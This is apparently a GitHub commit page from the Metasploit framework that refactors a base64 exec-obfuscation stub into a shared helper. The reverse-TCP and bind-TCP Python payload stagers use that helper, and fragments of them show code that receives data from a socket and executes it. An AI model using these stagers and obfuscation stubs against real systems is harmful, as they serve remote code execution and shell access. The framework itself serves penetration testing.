Skip to content

Commit 43f7054

Browse files
committed
Refactor base64 stub into base module
As per @zeroSteiner's suggestion.
1 parent e103b23 commit 43f7054

File tree

3 files changed

+21
-12
lines changed

3 files changed

+21
-12
lines changed

lib/msf/core/payload/python.rb

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,4 +3,21 @@
33

44
module Msf::Payload::Python
55

6+
#
7+
# Encode the given python command in base64 and wrap it with a stub
8+
# that will decode and execute it on the fly.
9+
#
10+
# @param cmd [String] The python code to execute.
11+
# @return [String] Full python stub to execute the command.
12+
#
13+
def py_create_exec_stub(cmd)
14+
# Base64 encoding is required in order to handle Python's formatting
15+
# requirements in the while loop
16+
b64_stub = "import base64,sys;exec(base64.b64decode("
17+
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
18+
b64_stub << Rex::Text.encode_base64(cmd)
19+
b64_stub << "')))"
20+
b64_stub
21+
end
22+
623
end

lib/msf/core/payload/python/bind_tcp.rb

Lines changed: 2 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@ module Msf
1313

1414
module Payload::Python::BindTcp
1515

16+
include Msf::Payload::Python
1617
include Msf::Payload::Python::SendUUID
1718

1819
#
@@ -52,12 +53,7 @@ def generate_bind_tcp(opts={})
5253
cmd << "\td+=s.recv(l-len(d))\n"
5354
cmd << "exec(d,{'s':s})\n"
5455

55-
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
56-
b64_stub = "import base64,sys;exec(base64.b64decode("
57-
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
58-
b64_stub << Rex::Text.encode_base64(cmd)
59-
b64_stub << "')))"
60-
b64_stub
56+
py_create_exec_stub(cmd)
6157
end
6258

6359
def handle_intermediate_stage(conn, payload)

lib/msf/core/payload/python/reverse_tcp.rb

Lines changed: 2 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@ module Msf
1313

1414
module Payload::Python::ReverseTcp
1515

16+
include Msf::Payload::Python
1617
include Msf::Payload::Python::SendUUID
1718

1819
#
@@ -52,12 +53,7 @@ def generate_reverse_tcp(opts={})
5253
cmd << "\td+=s.recv(l-len(d))\n"
5354
cmd << "exec(d,{'s':s})\n"
5455

55-
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
56-
b64_stub = "import base64,sys;exec(base64.b64decode("
57-
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
58-
b64_stub << Rex::Text.encode_base64(cmd)
59-
b64_stub << "')))"
60-
b64_stub
56+
py_create_exec_stub(cmd)
6157
end
6258

6359
def handle_intermediate_stage(conn, payload)

0 commit comments

Comments
 (0)